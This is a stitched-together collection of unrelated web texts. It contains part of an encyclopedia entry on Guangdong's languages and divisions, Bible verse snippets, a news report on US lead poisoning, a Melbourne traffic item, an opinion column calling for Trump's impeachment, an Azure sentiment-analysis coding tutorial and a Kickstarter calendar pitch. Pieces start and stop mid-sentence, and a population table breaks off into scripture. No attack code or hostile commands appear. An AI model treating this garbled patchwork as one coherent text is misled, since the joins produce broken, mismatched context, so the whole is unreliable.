The Hakka people live in large areas of Guangdong, including Huizhou, Meizhou, Shenzhen, Heyuan, Shaoguan and other areas. Much of the Eastern part of Guangdong is populated by the Hakka people except for the Chaozhou and Hailufeng area. Hakka culture include Hakka cuisine, Han opera (simplified Chinese: 汉剧; traditional Chinese: 漢劇), Hakka Hanyue and sixian (traditional instrumental music) and Hakka folk songs (客家山歌).
Zhanjiang in southern Guangdong is dominated by the Leizhou dialect, a variety of Minnan; Cantonese and Hakka are also spoken there.
Mandarin is the language used in education and government and in areas where there are migrants from other provinces, above all in Shenzhen. Cantonese maintains a strong and dominant position in common usage and media, even in eastern areas of the province where the local languages and dialects are non-Yue ones.
Guangdong Province is notable for being the birthplace of many famed Xiangqi (Chinese chess) grandmasters such as Lü Qin, Yang Guanli, Cai Furu and Xu Yinchuan.
Education [ edit ]
Colleges and universities [ edit ]
National [ edit ]
Provincial [ edit ]
Sports [ edit ]
List of current professional sports based in Guangdong:
Tourism [ edit ]
Notable attractions include Danxia Mountain in Shaoguan, Yuexiu Hill, Baiyun Mountain in Guangzhou, Star Lake and the Seven Star Crags, Dinghu Mountain in Zhaoqing, the Huangmanzhai waterfalls in Jieyang, and the Zhongshan Sun Wen Memorial Park for Sun Yat-sen in Zhongshan.
Administrative divisions [ edit ]
Guangdong is divided into twenty-one prefecture-level divisions: all prefecture-level cities (including two sub-provincial cities):
Administrative divisions in Chinese and varieties of romanizations English Chinese Pinyin Guangdong Romanization Guangdong Province 广东省 Guǎngdōng Shěng guong2 dung1 sang2 Guangzhou city 广州市 Guǎngzhōu Shì guong2 zeo1 xi5 Shaoguan city 韶关市 Sháoguān Shì xiu4 guan1 xi5 Shenzhen city 深圳市 Shēnzhèn Shì sem1 zen3 xi5 Zhuhai city 珠海市 Zhūhǎi Shì ju1 hoi2 xi5 Shantou city 汕头市 Shàntóu Shì san3 teo4 xi5 Foshan city 佛山市 Fóshān Shì fed6 san1 xi5 Jiangmen city 江门市 Jiāngmén Shì gong1 mun4 xi5 Zhanjiang city 湛江市 Zhànjiāng Shì zam3 gong1 xi5 Maoming city 茂名市 Màomíng Shì meo6 ming4 xi5 Zhaoqing city 肇庆市 Zhàoqìng Shì xiu6 hing3 xi5 Huizhou city 惠州市 Huìzhōu Shì wei6 zeo1 xi5 Meizhou city 梅州市 Méizhōu Shì mui4 zeo1 xi5 Shanwei city 汕尾市 Shànwěi Shì san3 méi5 xi5 Heyuan city 河源市 Héyuán Shì ho4 yun4 xi5 Yangjiang city 阳江市 Yángjiāng Shì yêng4 gong1 xi5 Qingyuan city 清远市 Qīngyuǎn Shì qing1 yun5 xi5 Dongguan city 东莞市 Dōngguǎn Shì dung1 gun2 xi5 Zhongshan city 中山市 Zhōngshān Shì zung1 san1 xi5 Chaozhou city 潮州市 Cháozhōu Shì qiu4 zeo1 xi5 Jieyang city 揭阳市 Jiēyáng Shì kid3 yêng4 xi5 Yunfu city 云浮市 Yúnfú Shì wen4 feo4 xi5
The twenty-one Prefecture of Guangdong are subdivided into 119 county-level divisions (64 districts, 20 county-level cities, 34 counties, and 3 autonomous counties). For county-level divisions, see the list of administrative divisions of Guangdong.
Urban areas [ edit ]
Population by urban areas of prefecture & county cities # City Urban area[53] District area[53] City proper[53] Census date 1 Shenzhen 10,358,381 10,358,381 10,358,381 2010-11-01 2 Guangzhou[a] 9,702,144 11,071,424 12,701,948 2010-11-01 (2) Guangzhou (new districts) [a] 939,264 1,630,524 see Guangzhou 2010-11-01 3 Dongguan 7,271,322 8,220,207 8,220,207 2010-11-01 4 Foshan 6,771,895 7,197,394 7,197,394 2010-11-01 5 Shantou 3,644,017 5,329,024 5,389,328 2010-11-01 6 Zhongshan 2,740,994 3,121,275 3,121,275 2010-11-01 7 Huizhou 1,807,858 2,344,634 4,598,402 2010-11-01 8 Jiangmen 1,480,023 1,822,614 4,450,703 2010-11-01 9 Zhuhai 1,369,538 1,562,530 1,562,530 2010-11-01 10 Zhanjiang 1,038,762 1,611,868 6,994,832 2010-11-01 11 Puning 874,954 2,055,552 see Jieyang 2010-11-01 12 Jieyang[b] 734,670 746,354 5,884,347 2010-11-01 (12) Jieyang (new district) [b] 492,178 1,159,118 see Jieyang 2010-11-01 13 Shaoguan 726,267 991,600 2,826,246 2010-11-01 14 Qingyuan[c] |
, and every living thing died that was in the sea. The third angel poured out his bowl into the rivers and the springs of water, and they became blood. And I heard the angel in charge of the waters say, “Just are you, O Holy One, who is and who was, for you brought these judgments....
James 1:25 ESV / 4 helpful votes Helpful Not Helpful But the one who looks into the perfect law, the law of liberty, and perseveres, being no hearer who forgets but a doer who acts, he will be blessed in his doing.
Luke 15:1-16:31 ESV / 4 helpful votes Helpful Not Helpful Now the tax collectors and sinners were all drawing near to hear him. And the Pharisees and the scribes grumbled, saying, “This man receives sinners and eats with them.” So he told them this parable: “What man of you, having a hundred sheep, if he has lost one of them, does not leave the ninety-nine in the open country, and go after the one that is lost, until he finds it? And when he has found it, he lays it on his shoulders, rejoicing....
Mark 10:1-12:44 ESV / 4 helpful votes Helpful Not Helpful And he left there and went to the region of Judea and beyond the Jordan, and crowds gathered to him again. And again, as was his custom, he taught them. And Pharisees came up and in order to test him asked, “Is it lawful for a man to divorce his wife?” He answered them, “What did Moses command you?” They said, “Moses allowed a man to write a certificate of divorce and to send her away.” And Jesus said to them, “Because of your hardness of heart he wrote you this commandment....
Amos 2:1-8:14 ESV / 4 helpful votes Helpful Not Helpful Thus says the Lord: “For three transgressions of Moab, and for four, I will not revoke the punishment, because he burned to lime the bones of the king of Edom. So I will send a fire upon Moab, and it shall devour the strongholds of Kerioth, and Moab shall die amid uproar, amid shouting and the sound of the trumpet; I will cut off the ruler from its midst, and will kill all its princes with him,” says the Lord. Thus says the Lord: “For three transgressions of Judah, and for four, I will not revoke the punishment, because they have rejected the law of the Lord, and have not kept his statutes, but their lies have led them astray, those after which their fathers walked. So I will send a fire upon Judah, and it shall devour the strongholds of Jerusalem.”...
Jeremiah 29:4-7 ESV / 4 helpful votes Helpful Not Helpful “Thus says the Lord of hosts, the God of Israel, to all the exiles whom I have sent into exile from Jerusalem to Babylon: Build houses and live in them; plant gardens and eat their produce. Take wives and have sons and daughters; take wives for your sons, and give your daughters in marriage, that they may bear sons and daughters; multiply there, and do not decrease. But seek the welfare of the city where I have sent you into exile, and pray to the Lord on its behalf, for in its welfare you will find your welfare.
Proverbs 19:1-22:29 ESV / 4 helpful votes Helpful Not Helpful Better is a poor person who walks in his integrity than one who is crooked in speech and is a fool. Desire without knowledge is not good, and whoever makes haste with his feet misses his way. When a man's folly brings his way to ruin, his heart rages against the Lord. Wealth brings many new friends, but a poor man is deserted by his friend. A false witness will not go unpunished, and he who breathes out lies will not escape....Lead contamination in low-income communities is an even more of a severe problem across the US than initial reports from Flint, Michigan, indicated, according to new analysis from Reuters.
It has been over a year since lead contamination in Flint’s drinking water became national news. The issue is nowhere near fixed, as residents continue to battle with the state over bottled water deliveries. Since the Michigan city fell under the spotlight, the issue of lead contamination and subsequent testing has grown considerably nationwide. Reuters found that five communities have even more widespread lead poisoning than Flint.
Many cities in the Midwest and rust belt are dealing with the ramifications of past lax regulations from during rough economic times, and where money once provided by local industry and manufacturing has gone. Places like South Bend, Indiana, were found by Reuters to have neighborhoods where 31 percent of small children tested from 2005 to 2015 had high levels of lead in their blood.
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Lead poisoning in South Bend was not discovered by the Reuters report published Monday. News articles from four years ago urged parents to have their children tested for lead poisoning after the county health department said 80 percent of the houses in the county had a risk of containing lead paint.
But the trouble may have been more dire than officials knew. A rate of 21.1 to 25 percent of children under seven years of age had elevated lead levels, which the US Centers for Disease Control and Prevention (CDC) defines at 5 micrograms/deciliter or higher. In one specific tract, that number reached 30.1 to 35 percent.
Conditions in the South Bend neighborhood, known as Census Tract 6, lent themselves to leaving residents vulnerable to lead poisoning. The area is home to a high concentration of homes built in the late 1800s to late 1900s that are often coated in lead-based paint and are more likely to have corroded lead pipes and fittings, effectively poisoning the tap water. In fact, the South Bend Tribune found that 59 percent of customers received water from systems that used lead pipes or components.
More than 28 percent of South Bend inhabitants live in poverty, according to the US Census.
There are multiple causes of the elevated lead levels found in South Bend, but identifying and fixing the problem is another dilemma in and of itself. St. Joseph County health officer Dr. Luis Galup said that funds available for tackling lead poisoning are subject to the whims of the economy.
“We are the lowest of the low in terms of public health funding,” Galup told Reuters.
US Housing and Urban Development grants were once used for lead testing, but the cash-strapped county was forced to make cuts. Local Women, Infants and Children (WIC) programs were responsible for conducting hundreds of blood lead tests, but that number has dropped dramatically.
“I bet there are hardly any tests being done now,” WIC program director Sue Taylor told Reuters. “The funding dried up.”
This leaves two nurses and one environmental inspector to prevent lead poisoning in a county that is home to 265,000 residents.
Mary Hollingsworth, Indiana Department of Environmental Management Drinking Water Branch Chief, explained that dropping the percentage of lead pipes is going to be a difficult process.
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“Unless a lot of money is provided for utilities to replace the lead lines, we will not have 0 percent,” she told the Indianapolis Star. “I don’t like 8 percent; I would like 0. But I don’t know if that’s attainable now.”
In St. Joseph, Missouri, lead poisoning can be more easily traced to old homes. The city was founded in 1843 and became home to the St. Joseph Lead Company (now Doe Run) in 1864. The city is also home to the highest rates of children with elevated levels of lead poisoning in Missouri and represents 30 percent of lead poisoning in the state.
Cleveland’s east side St. Clair-Superior area has rates nearly 10 times that of Flint in terms of lead poisoning. Almost 50 percent of children in the area had elevated lead levels in the past decade. But this information does not reveal much to those familiar with Cleveland, where lead poisoning has raged since 1990, when Rep. Louis Stokes (D-Ohio) addressed the House of Representatives after President George H.W. Bush’s dog was diagnosed with lead poisoning.
"It is appalling that the dangers of lead poisoning has to be brought to the nation's attention through the White House dog," Stokes said 26 years ago. Since then, efforts have been made to reduce lead poisoning by cleaning up homes. Cleveland and Cuyahoga County have spent $57 million trying to reduce lead hazards, but $50 million of that was used only after a child had already tested positive for lead, the Plain Dealer reported.
In addition, the $57 million has only been able to clean up about 4,300 homes since 1993. That figure is nothing to scoff at, but it is a far cry from the 187,000 homes in Cuyahoga County that have been flagged as potential hazards due to their age.
Lead abatement is not an easy or cheap process. According to the EPA, the average removal project costs about $10,000. Cleveland represents 80 percent of lead poisoning in Cuyahoga County, but has a poverty rate of 36.2 percent. Without government assistance, removing lead paint and other hazards can be plainly too expensive for the residents most likely to suffer from lead poisoning.
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"If this was a different group of children we wouldn't tolerate this as a society, community or a city” Robert Cole, an attorney with Advocates for Basic Legal Equality Inc., a nonprofit working to address lead poisoning in Toledo, told the Plain Dealer.
Rochester, New York, has been grappling with the problem for years. The majority of lead poisoning is attributed to lead-paint dust and chips that are all too frequently found in older homes that represent 95 percent of all housing units in Rochester, the Democrat and Chronicle reported.
"All it takes is a sugar packet's worth of dust to consider a home contaminated," Elizabeth McDade, program director for the Coalition to Prevent Lead Poisoning in Rochester, told the Chronicle. However, progress has been made in the Flour City due to regulations requiring all rental housing units built before 1978 to be inspected for loose lead paint. The law also provides follow-up inspections, leading to over 129,000 inspections conducted by the city since the law was enacted a decade ago.
Like other cities, Rochester also struggles with lead pipes and fittings transporting drinking water into the city. It is unknown how many privately owned lead services contaminate the drinking water for those in the city where 33.5 percent of the residents live in poverty. However, the Monroe County Water Authority guarantees that it uses no lead services – but only serves the suburbs of Rochester.
As a result, tap water in 10 percent of Rochester homes can exceed the World Health Organization’s lead guideline of 10 parts per billion as well as the EPA’s action level of 15 parts per billion.
Money is the underlying factor for addressing lead poisoning in the US. However, there is no magic bullet to killing the problem once and for all. For an issue that affects large swaths of the population, "it takes commitment, the resources and a coordinated effort to eliminate this devastating disease," as Congressman Stokes said over a quarter-century ago.Hoddle Street will remain a traffic nightmare even after the Napthine government's east-west toll road is completed, according to the Department of Transport.
A department briefing prepared for Roads Minister Terry Mulder says only a small proportion of the cars, trucks and buses clogging Hoddle Street are likely to use the tunnel as an alternative if there are no off-ramps to the city.
Going nowhere: A very congested Hoddle street at peak hour. Credit:Angela Wylie
The finding was mirrored in a November 2011 ''Hoddle Street Study'', released under freedom of information laws. It reveals the department's own traffic modelling found ''no expected change to the traffic operation of Hoddle Street as a result of the new link''.
Rather, it suggested the situation on Hoddle Street, already one of Melbourne's most congested roads, would worsen. With the road already carrying more than 90,000 vehicles a day, it warned worsening congestion triggered by population growth would increasingly force vehicles onto surrounding roads as motorists searched for alternative routes, further clogging the inner north.ADVERTISEMENT
Donald Trump has only been president for two weeks. In that time, he has created untold chaos with hyper-aggressive use of executive authority, and seriously destabilized relations with several nations, including at least one very close ally, Australia. He's unstable, incompetent, and a clear and present danger to the security of the United States and the world.
Donald Trump must be impeached and removed from office. Not because his policy is bad, though that is very true, but because he is so erratic and unstable as to be a threat to all life on Earth. And it will be up to Congressional Republicans to do it.
They are the only ones with the power to impeach Trump at this point (which requires a majority vote in the House to impeach and a two-thirds vote in the Senate to convict and remove from office). The reason they should is not to advance liberal political goals — if anything Vice President Mike Pence would be a more effective policymaker and a more formidable candidate in 2020 — but because of Trump's actual danger to American society.
Let's roll the tape.
Trump, on the close counsel of Stephen Bannon and Stephen Miller (who are, it seems, the real power behind the throne), has rammed through a probably illegal order banning Muslim immigration from seven countries, even for people with legitimate visas and desperately ill refugees; he reportedly directed federal law enforcement to ignore federal court orders staying the act, creating an instant constitutional crisis. Over the weekend, Trump and his national security team ordered a raid in Yemen which was epically botched, killing at least 30 people including one U.S. soldier and 10 women and children — among them an 8-year-old American girl.
This week, Trump reportedly threatened to invade Mexico to deal with "bad hombres" (though the constantly bullied Mexican government later denied it); and he got in a bizarre, heated argument with Australian Prime Minister Malcolm Turnbull over an agreement to take in some refugees. On Wednesday night, after a handful of anti-fascist protesters disrupted a Milo Yiannopolous event at the University of California, Berkeley, Trump threatened to withdraw all federal funding from the entire school:
If U.C. Berkeley does not allow free speech and practices violence on innocent people with a different point of view - NO FEDERAL FUNDS? — Donald J. Trump (@realDonaldTrump) February 2, 2017
On Thursday, Trump put Iran "ON NOTICE" because they carried out a ballistic missile test. That same day, it came out that Trump had hired Michael Anton, author of a widely-read pseudonymous essay supporting Trump, to work in national security. His article is overtly racist and authoritarian in its reasoning; it casts any Democratic victory as presumptively illegitimate because "the ceaseless importation of Third World foreigners with no tradition of, taste for, or experience in liberty means that the electorate grows more left, more Democratic, less Republican, less republican, and less traditionally American with every cycle."
In related news, Trump is also reportedly considering altering a Department of Homeland Security anti-terrorism program to focus solely on Islamist terrorism — mere days after a white nationalist terrorist shot up a mosque in Quebec City. Oh, and Bannon says we'll be at war with China within 10 years.
I wrote many articles predicting that Trump was a racist and an incipient fascist, that he would be the worst president in American history, and on and on. But I did not think it would get quite so bad this fast. If you ever wanted to see a presidency run by an unstable numskull who gets 100 percent of his news from Fox News broadcasts, here we have it.
And all this doesn't even touch the background issue of Trump's immense network of business ties which he was already exploiting for his own enrichment before he was inaugurated. That alone — a clear-cut violation of the Emoluments Clause — is probably grounds enough for impeachment, if we needed any more.
Trump is popular among Republican voters. But he is very unpopular overall, and his antics are creating a massive popular backlash. And while congressional Republicans are hawkish on Iran, they weren't much for war with China last time I checked. Trump has been president for literally two weeks and he has already caused one major international crisis and several serious diplomatic flaps for no reason at all. What will happen when he faces a real problem? The United States has about 1,900 strategic nuclear warheads that can be fired anywhere on the sole discretion of the president. The man is quite literally a threat to human life on this planet. He has to go.Scope
The following article demonstrates the use Machine Learning to do Sentiment Analysis on texts.
Introduction
Sentiment Analysis is the process of detecting the feeling or the mood of a person when writing a text (technically called contextual polarity). In other words, it determines whether a piece of writing is positive, negative or neutral.
Uses of Sentiment Analysis
1. Product reviews - Is the review positive or negative
2. Analyzing customer emails
3. Social Media Analytics - What is do customers think about my company
If one has about 10 mails or products, this will be quite a simple task, but, what if some store has more thousands of products each of them has hundreds of reviews daily. Then, automating this process makes sense.
And this is where Text Analytics comes into play.
Text Analytics API
Text Analytics API is a suite of text analytics web services built with Azure Machine Learning. The API can be used to analyze unstructured text for tasks such as sentiment analysis and key phrase extraction. The API returns a numeric score between 0 & 1.
Scores close to 1 indicate positive sentiment, while scores close to 0 indicate negative sentiment. The advantage of this API is that a new model need not be designed and trained, the user only needs to bring his data and call the service to get the sentiment results.
However, because this is only the initial release of this service only English is supported right now.
How it works?
Text Analytics API does not simply use a lexicon approach to map words such as “good or “bad” to return results. Instead, it uses advanced natural language processing techniques under the hood. For even more details of the service, consult the documentation here.
Signing up for the Text Analytics Service
1. Go to https://datamarket.azure.com/dataset/amla/text-analytics
2. Select the required package. For testing purposed, up to 10,000 transactions are available for free. Below are the prices as at 10 October 2015.
3. Once the registration is done, you shall be provided with an account key. Keep it safely, this shall be used in the applications.
Sample Product Review Application
One application of this API can be in an application where there are user reviews to analyze the sentiment of each review an automatically determine if it is a positive or negative review.
Expected Outcome
High Level Application Design
When there is a new review, it is first displayed on the front end. Then, an asynchronous call is made to the Web Service to get the sentiment. After the sentiment score is obtained, the review is updated with a thumb-up or thumb-down depending on the review.
Diving in the Codes!
This is an ASP.NET MVC Application which makes calls to the Web Service Asynchronously and place the emoticon only after the result is obtained.
Calling the Text Analytics Service
string ServiceBaseUri = "https://api.datamarket.azure.com/" ; string accountKey = "xxxxxx" ;
using (var httpClient = new HttpClient()) { string inputTextEncoded = HttpUtility.UrlEncode(inputText); httpClient.BaseAddress = new Uri(ServiceBaseUri); string creds = "AccountKey:" + accountKey; string authorizationHeader = "Basic " + Convert.ToBase64String(Encoding.ASCII.GetBytes(creds)); httpClient.DefaultRequestHeaders.Add( "Authorization", authorizationHeader); httpClient.DefaultRequestHeaders.Accept.Add( new MediaTypeWithQualityHeaderValue( "application/json" ));
string sentimentRequest = "data.ashx/amla/text-analytics/v1/GetSentiment?Text=" + inputTextEncoded; System.Threading.Tasks.Task <HttpResponseMessage>responseTask = httpClient.GetAsync(sentimentRequest); responseTask.Wait(); HttpResponseMessage response = responseTask.Result;Task< string >contentTask = response.Content.ReadAsStringAsync(); string content = contentTask.Result; if (!response.IsSuccessStatusCode) { return -1; } SentimentResult sentimentResult JsonConvert.DeserializeObject<SentimentResult>(content);
The UI
1. Declare the Service Base URI and Account Key2. Connect to the Service and pass connection details3. Get the sentiment score
The UI is mainly in 2 parts; a form to capture and a div to display the result.
a. The form
< div class = "panel-body" > < form class = "form-horizontal" > < div class = "form-group" > < div class = "col-sm-10" > < input type = "text" id = "name" placeholder = "name" class = "form-control" /> </ br > </ div > </ div > < div class = "form-group" > < div class = "col-sm-10" > < textarea class = "form-control" id = "msg" placeholder = "Review" rows = "3" ></ textarea > </ div > </ div > < div class = "form-group" > < div class = "col-sm-10" > < br /> < input type = "button" id = "send" value = "Post" class = "btn btn-primary btn-sm" /> </ div > </ div >
b. The div to display the result
< div id = "message" class = " col-sm-8 container" style = " height: 50%; max-height:300px; overflow: scroll;" ></ div >
The JavaScript
There are 2 main functions on the JavaScript part, to send a message and to append reviews to the div.
a. Append the messages to the div
Here, 2 actions are defined. Action 1 is when a broadcast happen and action 2 is when the result from the Web Service is obtained and it appends the emoticon to the existing div.
chat.client.addNewMessageToPageReview = function (message, id, action) { //broadcast if (action == 1) { var text = document.getElementById('message' ).innerHTML; document.getElementById('message' ).innerHTML = message + '<label id =' + id + '> </label>'+ '<br/>' + text; } //update if (action == 2) { document.getElementById(id).innerHTML = message; } $( '#message' ).emoticonize(); };
b.
Send a comment
This method captures the input and sends it to the server.
$.connection.hub.start().done(function () { $( '#send' ).click(function () { var name = $( '#name' ).val(); var msg = $( '#msg' ).val(); var tosen = name + ':'+ msg; chat.server.send(tosen); $( '#msg' ).val( '' ).focus(); }); });
C# Code
This method will be called when the send button is clicked. This will firstly broadcast the review to all clients by calling the JavaScript addNewMessageToPageReview function. Then, it will call the method UpdateEmoticon which will connect to the service, get the sentiment score and asynchronously update the div on the front end to update the emoticon.
public async Task Send( string message) { string guid = Guid.NewGuid().ToString(); Clients.All.addNewMessageToPageReview(message, guid, 1); await UpdateEmoticon(guid, message); }
The method UpdateEmoticon will then determine which smiley to use based on the Sentiment Score obtained and update the chat on the front end.
public async Task UpdateEmoticon( string guid, string message) { //Calls the web service double result = await ProcessText(message); string output = "" ; if (result >= 0.6) { output = " <div class= 'glyphicon glyphicon-thumbs-up'></div><br/>" ; } else { output = "<div class='glyphicon glyphicon-thumbs-down'></div><br/>" ; } Clients.All.addNewMessageToPageReview(output, guid, 2); }
The link to the source code of this application is in the code sample section below.
Sample Chat Application
Another possible application of Text Analytics is a chat application. In some enterprises, where support is done via chat, the company might want to analyse the sentiment of its customers.
The following chat application uses SignalR whereby each message sent is not only broadcasted to the clients, but also analyzed using Sentiment Analysis after which the message is updated with an appropriate smiley.
The codes used in this application is very similar to the one described previously and is also available in the sample below.
Code Sample
The source code of the 2 applications mentioned above are on the MSDN Gallery here.
References
a. https://datamarket.azure.com/dataset/amla/text-analytics b. http://blogs.technet.com/b/machinelearning/archive/2015/04/08/introducing-text-analytics-in-the-azure-ml-marketplace.aspx4/23 Update: Amazing, we surpassed our goal! We cannot say "Thank You" enough to each and every one of you. We still have THREE days left! Let's see how high we climb in donations! Every single cent makes this project better and better! *Be sure to check out the "updates" page for info on Posters!*
The Calendar
This calendar is the brainchild of the cast of Shauncastic!, a weekly podcast dedicated to topics geeky, nerdy and pop culture-y. While recording the show, we (the cast) began to talk about the idea of doing a Calendar featuring everyday Women of Geek and thus the ball got rolling. Because we live in a world of stereotypes, most people seem to believe that if one is attractive, productive or “normal”, then one cannot be a geek. Well we find this idea to be absurd and have decided to rally against this trend by creating this Kickstarter in order to photograph and print a Calendar that celebrates real world geek women. We have tried to cast a wide net, showcasing the beauty and diversity of geekdom by celebrating geek women of all types, from the everyday business women to artists and actresses. We feel this Kickstarter deserves attention because we’re not here to exploit women but to celebrate the culture of female geeks and the genres they love. They key word is “celebrate”.
Since we've started this Kickstarter, we've had a number of awesome Geek Women ask if they could join and we figured why not? So we've decided to expand our cast and invite some of these ladies to the production!
Moreover, each participant would dress up as their favorite character from various fictions: Movies, TV, Comics, Novels, Video Games and RPGS. This calendar will not only try to showcase a diverse section of fandoms but also show the diverse types of women that love these shows, books and games. This will be a professionally printed, high quality full color calendar featuring these lovely ladies as they show off their geek pride.
Check them out!
The person who started this whole idea, Laura is a massive fan of all things fantasy and sci-fi. Laura loves being a geek and loves to show off her favorite genres. So she started a found-art jewelry shop called PopCycled Baubles, where she takes comic books and gives them a new home as awesome jewelry and other items marketed towards the geek girl fanbase. Her love of geekiness fueled this project so we could start seeing more Geek Women rocking out their favorite things.
You can follow her on Twitter @DrMrsTheAwesome and see her jewelry at http://www.etsy.com/shop/popcycled
Sandy is a well known costuming expert who is a fixture at conventions throughout the Gulf South. Sandy is known worldwide for her accomplishments and contributions to the 501st Legion and The Rebel Legion, both international Star Wars costuming organization that promote Star Wars fandom. She is well known for her costuming excellence in many different costuming genres. Sandy is also Legion Costume Judge for the Rebel Legion, that focuses on reproducing the "good guy" costumes from the Star Wars universe, while helping the community through charity work.
You can visit her fan page at http://www.facebook.com/PrincessSandy41280
Jenna Busch is a host and writer of all things geek for Zap2it, Huffington Post, AOL, Popeater, Newsarama, JoBlo, Blastr, UGO, IGN, Moviefone, SheKnows, Coming Soon, Screen Junkies, Famous Monsters and Geek Week and a member of the Broadcast Film Critics Association (BFCA) and the Broadcast Television Critics Association (BTJA). She's appeared with Wil Wheaton and Grant Imahara on "Tabletop", been a guest host on G4's Fresh Ink, and a guest on My Geek Lady, ComiCenter, JoBlo Movie Podcast and more. She's just published her first two comics in "Womanthology" anthology. A New York transplant living in Los Angeles, Jenna has been on many sides of the entertainment industry. Makeup artist (don't stand too close, or she'll glue something to you) actor, (stopped because she felt that replacing body parts with silicone was the first step towards becoming and a cylon) and finally writing, which allows her to work in her pajamas.
You can follow her on her Twitter @JennaBusch or visit her website: http://girlmeetslightsaber.blogspot.com
Gamer. Writer. Batman lover. Underneath Christina's sweet exterior is a foul-mouthed sailor waiting to jump out at you every time you snipe her kills. But she swears that it's all in good fun. Then, residing below THAT layer is a twisted imaginary where no character is safe. Robert Kirkman? Then the sweet exterior returns to lull you back into a false sense of security. Like pie.
You can follow her on Twitter @ChasFemGeek or visit her short story/poetry blog at http://pennilessgeek.wordpress.com/
Brooke (or Dodger, to her friends and fans) is a well known youtube vlogger in the world of video games. Since starting her show, she has moved to Los Angeles from stormy, beautiful Oregon and has been involved in everything from ESports events to D&D. Dodger is well known for her deep love of all things Sherlock Holmes as far back as she can remember as well as an affinity for coffee and coffee mugs (of which she has a vast and constantly expanding collection). Very adventurous and free-spirited, her interests might seem as varied as her hair colors but her goals are simple: "I want my life and my job to be fun."
You can follow her on Twitter @DexBonus or you can visit Brooke at her YouTube channels: http://www.youtube.com/presshearttocontinue and http://www.youtube.com/dexteritybonus
Nicole is an artist who lives in view of the Seattle skyline. Her geekery is deep and vast, like the abyss James Cameron keeps talking about in his movies. (seriously, there’s a theme). When she’s not reading comics, watching awesome sci-fi/fantasy movies, or roleplaying – she creates art for RPG companies.
You can see her work at her site: http://nicolejekich.com/ as well as http://www.whitehairedman.com/kithtakharos-products
Chloe Dykstra was born and raised in good ol' Los Angeles, CA. With a foot where her mouth should be, Chloe never quite fit in at school and so turned to technology to keep her little green "Social" bar full. And thus Chloe became an expert of all things video games and interweb. Now she makes a living as a model/host and has worked for Wizard World, Bitmob, and Nerdist (oftentimes in cosplay- although she'd wash dishes in cosplay if she could).
You can follow her on Twitter @skydart or visit her website at: http://www.chloed.net/
Dash hails from the lovely land of Florida, which they never close (50 points for those of you who get that). A recent graduate and aspiring actress, Dash is a nut for Dr. Who and a little known series about some Rebels versus the Empire. It has “Wars” in the title and may have something to do with Stars. A recent convert to comics, during the New 52 change-up at DC she has now found the love of Supergirl and Wonder Woman and has no plans of going back.
You can follow Dash on Twitter @DashKnowsAll
Misti Dawn is a life blogger who wants to share her experiences with others in hope to help them, please them, bore them and entertain them (are you not entertained?) Originally from Henderson, KY - Misti Dawn grew up in her family's video store watching a steady diet of awful Full Moon videos as well as played all the newest 8 and 16 bit video games! Once she turned 18, Misti decided to try her hand at being a Suicide Girl and moved to LA and started showing up on such stations as G4, Showtime and CNBC in addition to getting in on some cool Music Videos with MC Lares, Tim Armstrong and appeared as Elijah Wood's Wife in the "Life and Death of Superman" by Max Landis. Misti is also the Co-Host of the "Bagged and Boarded" podcast on the SMODCAST newtwork as well as Machinima Director. She now spends most of her time nerding out, recording podcasts, vlogs and wishes to be a nerdy guide in the ways of life and video games.
You can follow her on Twitter @MeowMistiDawn or see more of her at http://www.MeowMistiDawn.com
Stormy (yes that’s her name) lives in Atlanta, GA and laughs at the Walking Dead because she is quite confident she can survive the Zombie Apocalypse. It has been rumored that Stormy might be a little obsessed with a certain Harley Quinn character and carries around an oversized mallet at all times to prove those jerks wrong. In a wrestling match between Harley and anyone – Stormy puts money down on Harley. Except sharks, those things are scary and need to stay in the ocean.
Satine lives in Los Angeles and is an avid fan of Dungeon’s and Dragons. In fact, you may have seen her on the webseries “Hit It With My Axe” where she got her character killed most unceremoniously. An artist, she is the CEO of Burning Quill as well as freelance artist to all sorts of awesome publications as well as does an occasional photo-shoot, so long as it does not interfere with her gaming and geeking out over the next awesome movie/video game. In addition to all of this, she is currently working on a YouTube Page (coming soon) as well as Hosts a weekly Gaming Event at LA’s Meltdown Comics called DnDMelt.
You can follow her on Twitter @SatinePhoenix. Find out more about Satine at: http://www.Satinephoenix.net or DnDMelt at: http://www.Meltcomics.com and also look for her appearance in the January issue of Maxim (it's the D&D issue).
The Money
All of the funds raised are going towards the production costs associated with the calendar and EXCLUSIVE Kickstarter rewards.
To elaborate, this project is by no means an inexpensive venture since we are springing for top of the line talent to help us bring this vision to life. But first and foremost is = TRAVEL. In order for us to make this calendar, we need to get all the lovely ladies in the same town!!! So part of the funds will go to transporting them from their place of residence, to Charleston, SC so we can shoot this awesomeness.
We also have an awesome photographer lined up as well as a top of the line make-up FX artist to help bring some of the Ladies' visions to life! Of course, each Lady also gets a budget to help with Costuming and Prop needs, so the more we make over our minimum, the more detailed our costumes can be! Additionaly we have to remember that any high quality calendar has to be sent to a professional printer so it can look as amazing as the designs!
Speaking of designs, let's give you a sneak peak of what the Calendar Pages will look like. Please note, this is not the final artwork and only sample photography. The Calendar will feature all new photography!
If this project is funded, none of the extras offered as rewards will be available for post-Kickstarter purchasers. Also please keep in mind that Canada/Mexico orders will need to add $5 extra to your pledge to cover shipping, while international orders will need to add $10.
The Rewards
All extras are EXCLUSIVE Kickstarter rewards. If this project is funded, no extras offered will be available for post-Kickstarter purchasers. No wallpapers, No podcasts, No postcards, No photos, No messages. None of that awesomeness. So, with that, here's what you'll receive for helping me make this a reality.
Project Updates: We are tremendously excited to see this project get off the ground. Watching an idea take hold and seeing it into reality is amazing. And any donations of $1 or more will get email updates keeping you informed of the project as it progresses and we'll see this Calendar grow up together like proud parents watching their kid go off and be awesome.
The "Women of Geekdom" Postcard: Do you like getting postcards in the mail? Any pledge of $10 or more will get a Women of Geekdom postcard sent to them anywhere in the world. This postcard is included in all other reward packages.
The "Making Of" Podcast: Well this one was a no brainer. This calendar was spawned from an idea in a podcast, so why not make an exclusive podcast for the making of this Calendar? This podcast will feature all the "Women of Geekdom" participants giving you a behind the scenes look into how we made this Calendar. This will be an exclusive podcast with a specific download code and download window once published. Our special thank you for supporting our project. Note: this podcast is included in all subsequent reward packages.
The Women of Geekdom 2013 Calendar: If you've watched the video and read this far, I don't need to explain this thing again,right? Any donation of $25 or more will net you these awesome ladies. Additional calendars can be purchased for $20 each. Simply add on the appropriate amount and enter the total amount of Calendars requested in the Notes upon submitting your pledge. Please note, this price is a reward for Kickstarter and after the 30 days, the price will rise for any inventory we have left.
The Wallpapers: Pretty up that computer of yours with these geek themed wallpapers, featuring iconic women from the calendar. Donate $35 or more and you'll get this 12-pack in addition to the rest of your awesome swag.
